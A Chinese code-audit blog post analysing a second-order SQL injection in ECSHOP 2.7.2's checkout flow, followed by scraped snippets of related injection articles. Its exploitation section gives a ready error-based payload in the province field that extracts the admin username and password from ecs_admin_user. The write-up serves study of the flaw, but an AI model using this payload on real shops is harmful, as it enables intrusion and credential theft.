ECSHOP 2.7.2二次注入分析

这是一个很老的漏洞了。最近学习代码审计在乌云上看到的,作者只给了部分分析,和利用的exp。

0x1代码分析

漏洞出现在flow.php

在flow.php的372行有如下代码


{
/*
* 保存收货人信息
*/
$consignee = array(
‘address_id‘ => empty($_POST[‘address_id‘]) ? 0 : intval($_POST[‘address_id‘]),
‘consignee‘ => empty($_POST[‘consignee‘]) ? ‘‘ : trim($_POST[‘consignee‘]),
‘country‘ => empty($_POST[‘country‘]) ? ‘‘ : $_POST[‘country‘],
‘province‘ => empty($_POST[‘province‘]) ? ‘‘ : $_POST[‘province‘],
‘city‘ => empty($_POST[‘city‘]) ? ‘‘ : $_POST[‘city‘],
‘district‘ => empty($_POST[‘district‘]) ? ‘‘ : $_POST[‘district‘],
‘email‘ => empty($_POST[‘email‘]) ? ‘‘ : $_POST[‘email‘],
‘address‘ => empty($_POST[‘address‘]) ? ‘‘ : $_POST[‘address‘],
‘zipcode‘ => empty($_POST[‘zipcode‘]) ? ‘‘ : make_semiangle(trim($_POST[‘zipcode‘])),
‘tel‘ => empty($_POST[‘tel‘]) ? ‘‘ : make_semiangle(trim($_POST[‘tel‘])),
‘mobile‘ => empty($_POST[‘mobile‘]) ? ‘‘ : make_semiangle(trim($_POST[‘mobile‘])),
‘sign_building‘ => empty($_POST[‘sign_building‘]) ? ‘‘ : $_POST[‘sign_building‘],
‘best_time‘ => empty($_POST[‘best_time‘]) ? ‘‘ : $_POST[‘best_time‘],
);

if ($_SESSION[‘user_id‘] > 0)
{
include_once(ROOT_PATH . ‘includes/lib_transaction.php‘);

/* 如果用户已经登录,则保存收货人信息 */
$consignee[‘user_id‘] = $_SESSION[‘user_id‘];

save_consignee($consignee, true); //进入save_consignee函数
}

跟踪save_consignee函数,在includes/lib_transaaction.php的516行


function save_consignee($consignee, $default=false)
{
if ($consignee[‘address_id‘] > 0)
{
/* 修改地址 */
$res = $GLOBALS[‘db‘]->autoExecute($GLOBALS[‘ecs‘]->table(‘user_address‘), $consignee, ‘UPDATE‘, ‘address_id = ‘ . $consignee[‘address_id‘]);
}
else
{
/* 添加地址 */
$res = $GLOBALS[‘db‘]->autoExecute($GLOBALS[‘ecs‘]->table(‘user_address‘), $consignee, ‘INSERT‘);
$consignee[‘address_id‘] = $GLOBALS[‘db‘]->insert_id();
}

if ($default)
{
/* 保存为用户的默认收货地址 */
$sql = "UPDATE " . $GLOBALS[‘ecs‘]->table(‘users‘) .
" SET address_id = ‘$consignee[address_id]‘ WHERE user_id = ‘$_SESSION[user_id]‘";

$res = $GLOBALS[‘db‘]->query($sql);
}

return $res !== false;
}
/*从代码可以看出我们POST过来的数据进入了数据库*/

我们跟踪下province变量的去处。

看到第527行,有如下代码

$region =  array($consignee[‘country‘], $consignee[‘province‘], $consignee[‘city‘], $consignee[‘district‘]);
$shipping_list = available_shipping_list($region);
$cart_weight_price = cart_weight_price($flow_type);
$insure_disabled = true;
$cod_disabled = true;

可以看到数据都放到$region这个数组里面来了,我们继续跟踪$region

然后看到如下代码


$order = array(
‘shipping_id‘ => intval($_POST[‘shipping‘]),
‘pay_id‘ => intval($_POST[‘payment‘]),
‘pack_id‘ => isset($_POST[‘pack‘]) ? intval($_POST[‘pack‘]) : 0,
‘card_id‘ => isset($_POST[‘card‘]) ? intval($_POST[‘card‘]) : 0,
‘card_message‘ => trim($_POST[‘card_message‘]),
‘surplus‘ => isset($_POST[‘surplus‘]) ? floatval($_POST[‘surplus‘]) : 0.00,
‘integral‘ => isset($_POST[‘integral‘]) ? intval($_POST[‘integral‘]) : 0,
‘bonus_id‘ => isset($_POST[‘bonus‘]) ? intval($_POST[‘bonus‘]) : 0,
‘need_inv‘ => empty($_POST[‘need_inv‘]) ? 0 : 1,
‘inv_type‘ => $_POST[‘inv_type‘],
‘inv_payee‘ => trim($_POST[‘inv_payee‘]),
‘inv_content‘ => $_POST[‘inv_content‘],
‘postscript‘ => trim($_POST[‘postscript‘]),
‘how_oos‘ => isset($_LANG[‘oos‘][$_POST[‘how_oos‘]]) ? addslashes($_LANG[‘oos‘][$_POST[‘how_oos‘]]) : ‘‘,
‘need_insure‘ => isset($_POST[‘need_insure‘]) ? intval($_POST[‘need_insure‘]) : 0,
‘user_id‘ => $_SESSION[‘user_id‘],
‘add_time‘ => gmtime(),
‘order_status‘ => OS_UNCONFIRMED,
‘shipping_status‘ => SS_UNSHIPPED,
‘pay_status‘ => PS_UNPAYED,
‘agency_id‘ => get_agency_by_regions(array($consignee[‘country‘], $consignee[‘province‘], $consignee[‘city‘], $consignee[‘district‘]))
);

数据进入了get_agency_by_regions函数,我们跟进去看看。

来到includes\lib_order.php 第2124行代码

看到此函数的定义


function get_agency_by_regions($regions)
{
if (!is_array($regions) || empty($regions))
{
return 0;
}

$arr = array();
$sql = "SELECT region_id, agency_id " .
"FROM " . $GLOBALS[‘ecs‘]->table(‘region‘) .
" WHERE region_id " . db_create_in($regions) .
" AND region_id > 0 AND agency_id > 0"; //进入数据库了。
$res = $GLOBALS[‘db‘]->query($sql);
while ($row = $GLOBALS[‘db‘]->fetchRow($res))
{
$arr[$row[‘region_id‘]] = $row[‘agency_id‘];
}
if (empty($arr))
{
return 0;
}

$agency_id = 0;
for ($i = count($regions) - 1; $i >= 0; $i--)
{
if (isset($arr[$regions[$i]]))
{
return $arr[$regions[$i]];
}
}
}

其中$region被传入到db_create_in函数中。继续跟踪db_create_in函数

再includes\lib_common.php发现该函数的定义


function db_create_in($item_list, $field_name = ‘‘)
{
if (empty($item_list))
{
return $field_name . " IN (‘‘) ";
}
else
{
if (!is_array($item_list)) //如果$item_list不是数组
{
$item_list = explode(‘,‘, $item_list); //用逗号分隔为数组
}
$item_list = array_unique($item_list); //去除数组中重复的值
$item_list_tmp = ‘‘;
foreach ($item_list AS $item) //循环遍历 $item_list 里的数据
{
if ($item !== ‘‘)
{
$item_list_tmp .= $item_list_tmp ? ",‘$item‘" : "‘$item‘";
}
}
if (empty($item_list_tmp)) //如果$item_list_tmp为空
{
return $field_name . " IN (‘‘) "; //直接返回 id IN (‘‘)
}
else
{
return $field_name . ‘ IN (‘ . $item_list_tmp . ‘) ‘;
}
}
}

可以看到$region数组传进去后返回了‘ IN (‘ . $item_list_tmp . ‘) ‘
虽然此处有单引号括起来了。但是,没有影响的。因为此处是二次注入。当数据进入mysql后转义字符会被去除。

所以完全不受GPC的影响。

0x2漏洞利用

把任意商品加入购物车在填写配送地址那一页,有地区选择
flow.php?step=consignee&direct_shopping=1

比如省选择安徽

其中POST数据如下

country=1&province=3&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111
&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80
&step=consignee&act=checkout&address_id=

province=3

改成

province=3‘) and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #

这样就注入完成了。

ECSHOP 2.7.2二次注入分析,布布扣,bubuko.com

时间: 2024-10-26 01:23:07

ECSHOP 2.7.2二次注入分析的相关文章

Joomla 3.9.13 二次注入分析(CVE-2019-19846)

目录 前言 分析 更好的注入 利用 总结 补丁分析 前言 这一个需要管理员权限的二次SQL注入,利用起来比较鸡肋.这里仅分享一下挖洞时的思路,不包含具体的poc. 分析 漏洞触发点在components/com_content/models/articles.php:L458 $dateFiltering = $this->getState('filter.date_filtering', 'off'); $dateField = $this->getState('filter.date_fi

20.Ecshop 2.x/3.x SQL注入/任意代码执行漏洞(附实战exp)

Ecshop 2.x/3.x SQL注入/任意代码执行漏洞 影响版本: Ecshop 2.x Ecshop 3.x-3.6.0 漏洞分析: 该漏洞影响ECShop 2.x和3.x版本,是一个典型的"二次漏洞",通过user.php文件中display()函数的模板变量可控,从而造成SQL注入漏洞,而后又通过SQL注入漏洞将恶意代码注入到危险函数eval中,从而实现了任意代码执行. 值得一提的是攻击者利用的payload只适用于ECShop 2.x版本导致有部分安全分析者认为该漏洞不影响

【sql注入】简单实现二次注入

[sql注入]简单实现二次注入 本文转自:i春秋社区 测试代码1:内容详情页面 [PHP] 纯文本查看 复制代码 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 18 19 20 21 22 23 <?php     include('./connect.php'); //引入数据库配置文件     $id=$_GET['id'];     $select_sql="SELECT * FROM article WHERE title='

【PHP代码审计】 那些年我们一起挖掘SQL注入 - 4.全局防护Bypass之二次注入

0x01 背景 现在的WEB程序基本都有对SQL注入的全局过滤,像PHP开启了GPC或者在全局文件common.php上使用addslashes()函数对接收的参数进行过滤,尤其是单引号.二次注入也是一种比较常见的注入,它涉及到入库和出库.因为有全局转义所以入库的时候: Insert into table (username) values (‘hack\’’); 这样入库后转义符就会消失变成了hack’,这样如果hack’出库被带入查询的话就会成功的引入了单引号导致注入.漏洞来源于乌云:htt

二次注入原理及防御

原理: 二次注入需要具备的两个条件: (1)用户向数据库插入恶意语句(即使后端代码对语句进行了转义,如mysql_escape_string.mysql_real_escape_string转义) (2)数据库对自己存储的数据非常放心,直接取出恶意数据给用户 举例: (1)在sqli_libs的第24关,其页面如下所示: (2)当我们点击Forgot your password?时,出现提示: (3)因此可以尝试在注册页面进行二次注入,首先,我们注册一个账号,名为:admin'#   ,密码为:

PHP漏洞全解(二)-命令注入攻击

本文主要介绍针对PHP网站常见的攻击方式中的命令攻击.Command Injection,即命令注入攻击,是指这样一种攻击手段,黑客通过把HTML代码输入一个输入机制(例如缺乏有效验证限制的表格域)来改变网页的动态 生成的内容.使用系统命令是一项危险的操作,尤其在你试图使用远程数据来构造要执行的命令时更是如此.如果使用了被污染数据,命令注入漏洞就产生了. 命令注入攻击 PHP中可以使用下列5个函数来执行外部的应用程序或函数 system.exec.passthru.shell_exec.“(与s

Java集合源码学习笔记(二)ArrayList分析

Java集合源码学习笔记(二)ArrayList分析 >>关于ArrayList ArrayList直接继承AbstractList,实现了List. RandomAccess.Cloneable.Serializable接口,为什么叫"ArrayList",因为ArrayList内部是用一个数组存储元素值,相当于一个可变大小的数组,也就是动态数组. (1)继承和实现继承了AbstractList,实现了List:ArrayList是一个数组队列,提供了相关的添加.删除.修

Discuz 5.x/6.x/7.x投票SQL注入分析

看乌云有人爆了这个漏洞:http://www.wooyun.org/bugs/wooyun-2014-071516感觉应该是editpost.inc.php里投票的漏洞.因为dz已经确定不会再修补7.x以前的漏洞了,所以直接贴细节吧 .问题出在 editpost.inc.php的281行,对用户提交的polloption数组直接解析出来带入SQL语句,因为默认只对数组值过滤,而不过滤键,所以会导致一个DELETE注入. ? 1 2 3 4 5 6 7 8 9 10 11 $pollarray['

Sql 注入详解:宽字节注入+二次注入

sql注入漏洞 原理:由于开发者在编写操作数据库代码时,直接将外部可控参数拼接到sql 语句中,没有经过任何过滤就直接放入到数据库引擎中执行了. 攻击方式: (1) 权限较大时,直接写入webshell 或者直接执行系统命令 (2) 权限较小时,通过注入获得管理员密码信息,或者修改数据库内容进行钓鱼等 常出现的地方: 登录页面.获取HTTP头(user-agent.client-ip等).订单处理等,HTTP头里面client-ip 和 x-forward-for 常出现漏洞,在涉及购物车的地方